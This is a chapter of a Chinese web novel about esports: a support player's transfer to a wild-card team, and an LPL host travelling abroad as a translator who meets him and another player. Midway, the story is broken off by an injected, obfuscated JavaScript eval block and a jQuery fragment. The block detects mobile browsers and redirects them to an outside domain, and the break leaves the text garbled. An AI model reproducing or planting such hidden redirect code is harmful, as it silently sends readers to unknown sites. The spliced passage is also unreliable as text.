数日后，旗开得胜的深夜，SG忽然发布一则公告：
经选手与俱乐部双方友好协商，即日起SG电子竞技俱乐部辅助选手温哲（ID：MIld）正式断开连接。
祝身体健康，前程似锦。
6G网的粉丝和观众一脸懵，最近没哪队流出换辅助的风言风语啊，怎么猛地将老大哥踹啦？
SG穷得养不活六张嘴啦？
就在广大吃瓜群众摸寻瓜田时，另一侧公告悄然生长，认领了新鲜出炉的自由人。
【WEE，MIld！】
您好，这里是DTG电子竞技俱乐部。
很高兴向您宣布，MIld选手将加入本俱乐部，完成夏季赛的后续赛程。
盼望您的应援，谢谢。
围棋棋子们都一脸茫然，把问号刷成了阅兵方队。
“啊×10086？谁加入哪？重金求mild粉丝现身说法！！！”
“[举手]粉丝也被DTG吓晕没醒咧，昨儿还是退役继承公益赛，怎么一日不见，就给弄到外卡挖土啦啊？？”
“目前跑外卡捞金的，嘟是梦队的，莫非~D队和D队有不可告人的交易[眼镜反光]”
作为略知原委的路人，陈决明以小号趟过乌烟瘴气，在公告下打出一行“前程似锦”。
MIld选手即将启程，与Esper选手站上同一比赛台，无须继续顶着延迟和她侃大山——而他，窝在网约车副驾驶，怀抱平板收罗FanMeeting的现场视频。
夏季赛第一日，DTG就举行了见面会。
陈决明运气实在差，春季错过报名期，夏季还忙得忘记此项活动。
走走停停中，他手掌合十：
“DTG啊DTG，瞧在MIld哥的面子上，赶快开夏季赛第二场FanMeeting，please！”
陈决明殷切许了三遍，才切回收藏夹。
“咚——”
消息提醒一震，和视频里小游戏抢答的木锤声齐鸣。
新游联赛那边的消息，让他给一些证件和材料，不日以翻译的身份随他们出国。
[陈决明]：出差？
那边秒回。
“是的，虽然常规赛告一段落，但国际赛马不停蹄就开始了。”
[陈决明]：国际赛打多久？
出差的话，他的本职工作怎么办？夏季赛的班早已经排好了。
思绪将成形，LPL的工作人员就给陈决明打电话，中心思想是：
你放心地坐飞机去吧，国际赛期间的场次匀给别的主持，待他回来一切照旧。
紧接着，工作群里冒出一份新的排班表。
之前星罗棋布的“陈白茶”，都改为了“山奇”。
第一时间浏览的陈决明：“……”
不是，“匀”呢？
卡池里只他一人么？
“可是呢，”陈决明转念一想，“排得多归多，能不能把握住那些露脸的机会，还得看他的瓶子里晃着多少水。”
他觉得就一瓶底，否则何至于入行一两年了，采访还是东一榔头西一棒子。
下过定义后，陈决明将山奇的名字团了团，随意抛出脑海。
他的眼睛落回屏幕上，继续敲字：
“比赛在哪个国家办？我提前倒一倒时差。”
那边没秒回。
红灯跳绿，出租车跟学步车似的一抖，眨眼又刹停了。
身处喘不上气的堵车中，等候也随之擀长抻远，仿佛红绿灯才是秒针，不情不愿地向下一刻磨蹭。
如此十多秒后，一行字才跃上屏幕，简短……但分外熟悉。
陈决明搭眼一扫。
绿灯跳红，龟爬的车身猛一止，他不受控制地朝前冲，又遭安全带扯回。
手机却自在一滑，破出一道漂亮的抛物线，“啪嗒”落在陈决明脚边。
不知什么敲中屏幕，下一条的语音消息悠悠播放。
“你应该知道，那儿也有LOL联赛——听说去年的赛区一号种子，还打进世界赛八强了呢！”
陈决明顿时心跳如擂鼓。
知道。
何止知道……
*
因为新游国际赛的举办地不是英语国家，所以官方选定陈白茶当钦差翻译。
为此，陈决明连夜恶补那游戏，甚至身处机场，都还扣着耳机二倍速过比赛，熟悉别的国际赛队伍。
陈决明的目光黏在平板上，余光里却盛着形形色色的旅客，以及——
一道不远处的身影。
途经他身侧的大都行色匆匆，然而此人塌着肩、蹑手蹑脚地朝他挪步，明晃晃一副憋了坏水的模样。
“此时应该按兵不动，静等对面露头！”
陈决明与解说不谋而合，那人近了又近，他始终保持着刻苦的姿态。
两米、一米……
离得一臂之遥时，那人突然探长胳膊，迅猛一挥。
陈决明当即启动，手一扬在耳畔捉下一只腕子。
“MIld哥！”他笑吟吟地叹气，“偷袭好歹从后方啊，你这大摇大摆的，想不认出来都难。”
即使遭识破，MIld也不尴尬：
“好巧啊，你怎么在机场？是准备飞哪儿？”
“你猜！”
陈决明一边卖关子，一边上下打量MIld，他穿了一身比较清凉的运动服，身后背着一只炸药包般鼓鼓囊囊的外设包，包的正面还贴着块黑胶布，应该是用于遮队标的。
“MIld哥呢？动身去DTG？”
“是，夏季赛一场挨一场，多耽搁十天半月的话，第一轮都结束了。”MIld稍一迈步，露出身后圆滚滚的人影，“所以将迈出SG的门，就得跟着工作人员飞外卡，这位是——”
DTG经理。
陈决明与“圆滚滚”十分相熟——单方面的，毕竟他经常在DTG的视频里露脸，不认识都难。
经理伸出圆手，经由翻译，见牙唔见眼地跟陈决明寒暄。
“我记得，上一届世界赛，有位LPL主持给DTG当过翻译，是您吧！”
哦吼，他竟然还可以认出自己。
陈决明衷心和他握手，口中以外卡语言“幸会”着，心头却飘过成片的弹幕，全刷着一项内容：
FanMeeting。
不知道在经理跟前扇风，能不能让见面会再端一盘上桌……
即将奔赴外卡的白茶主持蓄势待发，只差一块二维码了。
然而，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215776|165635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
MIld又迈回来，生生截断陈决明的视线。
“哟嗷，白茶，你会讲那边的话啊！快快快，教我几句！”说着，他将脑袋敲得哒哒响，“我这词库空空又荡荡，连猜都无从下手。”
“罗马不是三分钟建成的，”陈决明朝他身后偏头，“而且，DTG队里的翻译呢？”
“一队翻译留在外卡，随队跑比赛。”MIld惆怅，“经理身边的翻译是来之前现找的，中文说得跟打醉拳似的。”
陈决明：“……”
听着还挺飘逸。
见他无响应，纵横职业赛场多年的辅助大手一挥。
[MIld]：[红包]
陈决明震惊，是他有眼不识商机了！
而MIld还在追加：“哪怕三分钟，事成之后也——”
“行！”
话没砸地，陈决明就利落地合平板锁手机，目光炯炯，望入MIld眼里。
“我先教你问候语！”
*
语言是一重难越的崇山峻岭，昭苏给他戳了一打预防针，DTG经理也隐晦地催他准备听说读写的脑子……当然，是在尘埃落定之后。
于是，MIld买了本入门教科书，当夜就开始猛猛学。
可惜他跟一板一眼的课本——尤其电子版课本犯冲，没扒拉两下就径直俯冲酣眠，且是遭第一课基础知识K.O，属于新手村都没出。
许是骨子里的学生性作祟，分明还那一摊玩意，陈决明掰开揉碎倒给他，与自己倚在床头啃苍蝇字书的成效简直天差地别。
读音不在舌头上打擂啦，知识齐步走着进脑袋啦，只不过依旧昏昏欲睡。
小问题，克服克服。
难得逮着位一对一名师，MIld攀上陈决明肩膀，“亦步亦趋”地汲取知识，试图让外语从高浓度流向低浓度。
直到机场播报成叽里呱啦的鸟语，他才意识到不对劲，猛地一抬头。
“这是哪儿？！我跟着你拐到哪片犄角旮旯了啊！”
陈决明无语地弹他脑门：
“嘿，醒一醒！”
“MIld选兽。”
翻译的脚步像口音一样发醉，倒行着舒展怀抱，“Weeto歪卡！”
MIld的脸色一秒切换八百回，震惊、恍惚、头疼等等你方唱罢我登场，最终，烩成了一锅纯净的空白。
他一张口，口音都跑了：
“白茶，所以……你的目的地是‘歪卡’？”
“做什么？篡外卡主持的位吗？”
机场外，迎新的喻昭苏瞧见与MIld并肩的身影，惊得帽子都掉了，“难道主持也可以转会了？”
撞见出乎意料的喻昭苏，陈决明当即收拾了忍俊不禁，换上一副正色。
“Esper选手——没有，业务拓展，我是为别的项目出差。”
“哦！”
团聚的上辅异口同声。
“怎么？”经理抓着翻译，一脸笑容地扎进她们的包围圈，“你们认识？”
喻昭苏应：“当然，以前一个赛区，抬头不见低头见。”
“现在也在一个赛区。”
陈决明眼睛只框着鲜活的喻昭苏，余光悄没声儿地失灵了。
“物理上。”